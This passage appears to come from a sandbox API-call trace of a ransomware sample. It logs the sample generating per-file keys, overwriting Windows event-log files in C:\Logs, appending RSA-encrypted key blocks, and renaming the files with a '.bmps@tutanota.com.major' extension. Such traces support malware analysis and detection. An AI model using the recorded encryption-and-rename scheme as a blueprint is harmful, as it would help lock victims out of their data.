lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0128.769] CreateFileW (lpFileName="\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0128.769] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0128.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0128.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0128.769] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.831] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.831] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.831] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0128.833] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0128.835] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0128.835] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.835] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.835] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0128.835] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0128.837] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0128.837] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0128.837] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="kG9IaCVvFo6MSHoaQy1bxMdkStk4WasDpZrcGRu7h33wpB6W/fkUmRWHawI4EtMc\nbSs7uD7pFqX90958gv286s35IabrMMdchdn9sNWmjHzgCsg4xbfWLURu8M4GB07S\nGPePtI/oSC61CcztzQxy58PbcOS5bBiTWLTsj+lZjaV8EC1PBZG8k+RI+nQeJLQh\n5V73nLOqnSkSI5SCKxNqMed0iniAKgyASMO3J+3+S638fFQUrPtZcvHcGtyWXd8+\n/XZmgbF1bgrIhUcuqvwjPSl9koevv8fpdpBzyb7/xpXKpXhy39kNBokrneWe82hm\nBh0nu/qYMv94PIJ+Nq1Wtw==\n", pcchString=0x2e3f9a8) returned 1 [0128.837] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0128.837] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.837] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.837] CloseHandle (hObject=0x460) returned 1 [0128.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0128.839] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0128.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0128.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0128.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0128.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0128.850] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0128.850] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0128.850] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0128.850] SetFileAttributesW (lpFileName="\\Logs\\Key Management Service.evtx", dwFileAttributes=0x80) returned 1 [0128.850] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0128.850] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0128.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0128.850] CreateFileW (lpFileName="\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0128.851] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0128.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0128.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0128.851] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.918] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.918] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0128.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0128.921] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0128.921] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.921] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.921] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0128.921] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0128.922] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0128.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0128.922] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="J9cJ+5h4dyX+9gIPXBPHjFFeWd48irDVVBxXcJ+8xBs2Iv8FdbstoNds+BlZTeML\nV3W7h+9eaQvZBMGN+ua5ust/RifU9d0P6YXGmG69k4WCRI5yPmcEdrAwiKEEwLp6\nn/mKiTTYjRtu7EXXeZUbXvp3lHKmWHAlvCX5a+W2ANXSKmgqZWidQR75P3XEw5Gp\nidjJ0TVRXwSMA+OYG6trf+o03VvQKw4IjRwFD0n3GB8dPGPTsL3cR41BsaTgrVro\ndpjtiPzG6+Za5LNA0zhYMOv+55CT4r+nY2Xwa9L3hFIJjeAv5bdgb1So208/0NeX\nHEZFssi/mEIo8DinAUaWZw==\n", pcchString=0x2e3f9a8) returned 1 [0128.922] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0128.922] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.922] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.923] CloseHandle (hObject=0x460) returned 1 [0128.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0128.924] MoveFileExW (lpExistingFileName="\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), lpNewFileName="\\Logs\\Key Management Service.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\key management service.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0128.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0128.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0128.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0128.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0128.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c79a8 [0128.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0128.926] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0128.926] SetFileAttributesW (lpFileName="\\Logs\\Internet Explorer.evtx", dwFileAttributes=0x80) returned 1 [0128.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7ba0 [0128.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0128.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ba0 | out: hHeap=0x570000) returned 1 [0128.926] CreateFileW (lpFileName="\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0128.926] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0128.927] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0128.927] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0128.927] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.946] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.946] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.947] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0128.948] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0128.950] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0128.950] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.950] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.950] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0128.950] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0128.952] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0128.952] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0128.952] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="XEM8ippRuDxGvb71XCLsTPbskEYadWWu2W3Ro0kC7TqO6JNo36Uyn1UJxo7ZGhVM\nZRS0yF4c2Xh5m6J7jtKnG4XMvb6Sbr7r//aFz+83ACCq4TtoaSbuZcZsX42iyxXc\n2O80HH5qWwherFolmwa8ugiK2016o4aVWIXycrB0TvPvBzW2NUaKXwbAedwjU6E1\n2imrsfROEFwql1TpJ3N3OlQCUOHetgJ6MLS7CoYoi2qlO/2zWz0FvkZRxtNshrEz\nRxODn3M3/MC5Cxunu1zg4xZspoJflxobN9AdltipwEqmYqgQy22pkcqDvyjOrUf6\nPWLqkvx3VMuaPrw1JZR7kw==\n", pcchString=0x2e3f9a8) returned 1 [0128.952] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0128.952] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.952] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.952] CloseHandle (hObject=0x460) returned 1 [0128.955] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0128.955] MoveFileExW (lpExistingFileName="\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), lpNewFileName="\\Logs\\Internet Explorer.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\internet explorer.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0128.962] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0128.962] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0128.962] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79a8 | out: hHeap=0x570000) returned 1 [0128.962] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0128.962] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0128.962] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0128.962] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0128.962] SetFileAttributesW (lpFileName="\\Logs\\HardwareEvents.evtx", dwFileAttributes=0x80) returned 1 [0128.962] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c79f0 [0128.962] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0128.962] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79f0 | out: hHeap=0x570000) returned 1 [0128.962] CreateFileW (lpFileName="\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0128.963] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0128.963] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0128.963] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0128.963] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0129.023] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.023] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0129.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0129.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0129.025] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0129.025] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.025] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.025] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.025] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.027] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.027] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="TazEEwzrtICfOWHQ79A1qfsPOophAq7HidJFah2MaImlE0X4a9s4hStRanQvw/oa\nx+y6KtjNQ6OrCV2n2+Od5WW8t4Nmy0PGaXDbB/LsNds9NiS+9G3SWDp5i6jpWYL7\nzxq5RgZKQjG8y1ULcdVtIbyC7oQgt5LIJ3evmsEYirQA9Z8XIeeaL6IJ/IQ/Pbfv\n7LGERTdYTDGxmw3TNCoAWM5g3N+VN0pfPHOsDXZeM4glTXU1yKOly1zOrSPTmF/k\nwLPyuSB0vsnB295tvvEZxC1k9wq4kKsXbignDhbbCklTKZF/HAmw92fWr3BVF0f9\niF+A+OXNKvkUD3FFULqbNA==\n", pcchString=0x2e3f9a8) returned 1 [0129.027] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.027] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.027] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.027] CloseHandle (hObject=0x460) returned 1 [0129.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.029] MoveFileExW (lpExistingFileName="\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), lpNewFileName="\\Logs\\HardwareEvents.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\hardwareevents.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0129.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0129.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0129.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb68 [0129.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0129.031] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.031] SetFileAttributesW (lpFileName="\\Logs\\Application.evtx", dwFileAttributes=0x80) returned 1 [0129.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eac0 [0129.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0129.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eac0 | out: hHeap=0x570000) returned 1 [0129.031] CreateFileW (lpFileName="\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0129.032] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0129.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0129.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0129.033] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0129.054] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.054] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0129.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0129.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0129.056] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0129.056] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.056] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.056] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.057] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.058] CryptBinaryToStringA (in: pbBinary=0x45b234, 